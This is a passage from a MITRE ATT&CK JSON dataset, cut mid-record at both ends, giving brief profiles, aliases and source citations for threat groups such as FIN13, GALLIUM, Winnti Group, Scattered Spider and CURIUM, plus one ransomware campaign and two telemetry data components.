Huntress"],"type":"intrusion-set","id":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","created":"2024-06-06T17:16:38.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1032","external_id":"G1032"},{"source_name":"GOLD IONIC","description":"(Citation: Secureworks GOLD IONIC April 2024)"},{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"Bleeping Computer INC Ransomware March 2024","description":"Toulas, B. (2024, March 27). INC Ransom threatens to leak 3TB of NHS Scotland stolen data. Retrieved June 5, 2024.","url":"https://www.bleepingcomputer.com/news/security/inc-ransom-threatens-to-leak-3tb-of-nhs-scotland-stolen-data/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-29T19:08:47.861Z","name":"FIN13","description":"[FIN13](https://attack.mitre.org/groups/G1016) is a financially motivated cyber threat group that has targeted the financial, retail, and hospitality industries in Mexico and Latin America, as early as 2016. [FIN13](https://attack.mitre.org/groups/G1016) achieves its objectives by stealing intellectual property, financial data, mergers and acquisition information, or PII.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","aliases":["FIN13","Elephant Beetle"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Oren Biderman, Sygnia","Noam Lifshitz, Sygnia"],"type":"intrusion-set","id":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","created":"2023-07-27T15:24:02.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1016","external_id":"G1016"},{"source_name":"Elephant Beetle","description":"(Citation: Sygnia Elephant Beetle Jan 2022)"},{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:23:59.598Z","name":"Group5","description":"[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)","aliases":["Group5"],"x_mitre_deprecated":false,"x_mitre_version":"1.3","type":"intrusion-set","id":"intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40","created":"2017-05-31T21:32:08.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0043","external_id":"G0043"},{"source_name":"Group5","description":"(Citation: Citizen Lab Group5)"},{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["PLATINUM"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0068","external_id":"G0068"},{"source_name":"PLATINUM","description":"(Citation: Microsoft PLATINUM April 2016)"},{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2021-04-22T00:39:49.529Z","name":"PLATINUM","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T22:10:27.139Z","name":"GALLIUM","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) is a cyberespionage group that has been active since at least 2012, primarily targeting telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam. This group is particularly known for launching Operation Soft Cell, a long-term campaign targeting telecommunications providers.(Citation: Cybereason Soft Cell June 2019) Security researchers have identified [GALLIUM](https://attack.mitre.org/groups/G0093) as a likely Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)(Citation: Unit 42 PingPull Jun 2022)","aliases":["GALLIUM","Granite Typhoon"],"x_mitre_deprecated":false,"x_mitre_version":"4.0","x_mitre_contributors":["Daniyal Naeem, BT Security","Cybereason Nocturnus, @nocturnus"],"type":"intrusion-set","id":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","created":"2019-07-18T20:47:50.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0093","external_id":"G0093"},{"source_name":"GALLIUM","description":"(Citation: Microsoft GALLIUM December 2019)"},{"source_name":"Granite Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Cybereason Soft Cell June 2019","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft GALLIUM December 2019","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/"},{"source_name":"Unit 42 PingPull Jun 2022","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Driver Load","description":"Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)","x_mitre_data_source_ref":"x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["FIN10"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","type":"intrusion-set","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0051","external_id":"G0051"},{"source_name":"FIN10","description":"(Citation: FireEye FIN10 June 2017)"},{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","source_name":"FireEye FIN10 June 2017"}],"modified":"2021-05-26T12:35:39.400Z","name":"FIN10","description":"[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-29T20:37:46.689Z","name":"C0015","description":"[C0015](https://attack.mitre.org/campaigns/C0015) was a ransomware intrusion during which the unidentified attackers used [Bazar](https://attack.mitre.org/software/S0534), [Cobalt Strike](https://attack.mitre.org/software/S0154), and [Conti](https://attack.mitre.org/software/S0575), along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated [Conti](https://attack.mitre.org/software/S0575) ransomware playbook based on the observed pattern of activity and operator errors.(Citation: DFIR Conti Bazar Nov 2021)","aliases":["C0015"],"first_seen":"2021-08-01T05:00:00.000Z","last_seen":"2021-08-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: DFIR Conti Bazar Nov 2021)","x_mitre_last_seen_citation":"(Citation: DFIR Conti Bazar Nov 2021)","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Matt Brenton, Zurich Insurance Group"],"type":"campaign","id":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","created":"2022-09-29T16:42:29.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0015","external_id":"C0015"},{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"Web Credential Creation","description":"Initial construction of new web credential material (ex: Windows EID 1200 or 4769)","x_mitre_data_source_ref":"x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-20T22:02:53.982Z","name":"Winnti Group","description":"[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG Winnti Umbrella May 2018)","aliases":["Winnti Group","Blackfly"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","x_mitre_contributors":["Edward Millington"],"type":"intrusion-set","id":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","created":"2017-05-31T21:32:08.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0044","external_id":"G0044"},{"source_name":"Winnti Group","description":"(Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015)"},{"source_name":"Blackfly","description":"(Citation: Symantec Suckfly March 2016)"},{"source_name":"Symantec Suckfly March 2016","description":"DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.","url":"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"},{"source_name":"401 TRG Winnti Umbrella May 2018","description":"Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018.","url":"https://401trg.github.io/pages/burning-umbrella.html"},{"source_name":"Kaspersky Winnti April 2013","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","url":"https://securelist.com/winnti-more-than-just-a-game/37029/"},{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"},{"source_name":"Kaspersky Winnti June 2015","description":"Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.","url":"https://securelist.com/games-are-over/70991/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-19T14:08:59.296Z","name":"FIN8","description":"[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group that has been active since at least January 2016, and known for targeting organizations in the hospitality, retail, entertainment, insurance, technology, chemical, and financial sectors. In June 2021, security researchers detected [FIN8](https://attack.mitre.org/groups/G0061) switching from targeting point-of-sale (POS) devices to distributing a number of ransomware variants.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)","aliases":["FIN8","Syssphinx"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Daniyal Naeem, BT Security","Serhii Melnyk, Trustwave SpiderLabs"],"type":"intrusion-set","id":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0061","external_id":"G0061"},{"source_name":"FIN8","description":"(Citation: FireEye Obfuscation June 2017)"},{"source_name":"Syssphinx","description":"(Citation: Symantec FIN8 Jul 2023)"},{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Rocke"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","type":"intrusion-set","created":"2020-05-26T14:20:20.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0106","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0106"},{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-19T20:41:21.215Z","name":"Rocke","description":"[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address \"rocke@live.cn\" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-12T17:32:47.430Z","name":"Saint Bear","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) is a Russian-nexus threat actor active since early 2021, primarily targeting entities in Ukraine and Georgia. The group is notable for a specific remote access tool, [Saint Bot](https://attack.mitre.org/software/S1018), and information stealer, [OutSteel](https://attack.mitre.org/software/S1017) in campaigns. [Saint Bear](https://attack.mitre.org/groups/G1031) typically relies on phishing or web staging of malicious documents and related file types for initial access, spoofing government or related entities.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )(Citation: Cadet Blizzard emerges as novel threat actor) [Saint Bear](https://attack.mitre.org/groups/G1031) has previously been confused with [Ember Bear](https://attack.mitre.org/groups/G1003) operations, but analysis of behaviors, tools, and targeting indicates these are distinct clusters.","aliases":["Saint Bear","Storm-0587","TA471","UAC-0056","Lorec53"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","created":"2024-05-25T16:11:54.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1031","external_id":"G1031"},{"source_name":"Storm-0587","description":"(Citation: Cadet Blizzard emerges as novel threat actor)"},{"source_name":"TA471","description":"(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )"},{"source_name":"UAC-0056","description":"(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )"},{"source_name":"Lorec53","description":"(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )"},{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-04T21:24:48.602Z","name":"Scattered Spider","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)","aliases":["Scattered Spider","Roasted 0ktapus","Octo Tempest","Storm-0875"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","type":"intrusion-set","id":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","created":"2023-07-05T17:54:54.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1015","external_id":"G1015"},{"source_name":"Roasted 0ktapus","description":"(Citation: CrowdStrike Scattered Spider BYOVD January 2023)"},{"source_name":"Octo Tempest","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Storm-0875","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"CrowdStrike Scattered Spider BYOVD January 2023","description":"CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.","url":"https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/"},{"source_name":"CrowdStrike Scattered Spider Profile","description":"CrowdStrike. (n.d.). Scattered Spider. Retrieved July 5, 2023.","url":"https://www.crowdstrike.com/adversaries/scattered-spider/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"},{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-02T12:13:42.278Z","name":"CURIUM","description":"[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East.(Citation: Symantec Tortoiseshell 2019) [CURIUM](https://attack.mitre.org/groups/G1012) has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)","aliases":["CURIUM","Crimson Sandstorm","TA456","Tortoise Shell","Yellow Liderc"],"x_mitre_deprecated":false,"x_mitre_version":"3.0","x_mitre_contributors":["Denise Tan","Wirapong Petshagun"],"type":"intrusion-set","id":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","created":"2023-01-13T20:51:13.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1012","external_id":"G1012"},{"source_name":"Crimson Sandstorm","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Tortoise Shell","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"TA456","description":"(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA456 Defense Contractor July 2021)"},{"source_name":"Yellow Liderc","description":"(Citation: PWC Yellow Liderc 2023)"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Proofpoint TA456 Defense Contractor July 2021","description":"Miller, J. et. al. (2021, July 28). I Knew You Were Trouble: TA456 Targets Defense Contractor with Alluring Social Media Persona. Retrieved March 11, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"},{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"},{"source_name":"Symantec Tortoiseshell 2019","description":"Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 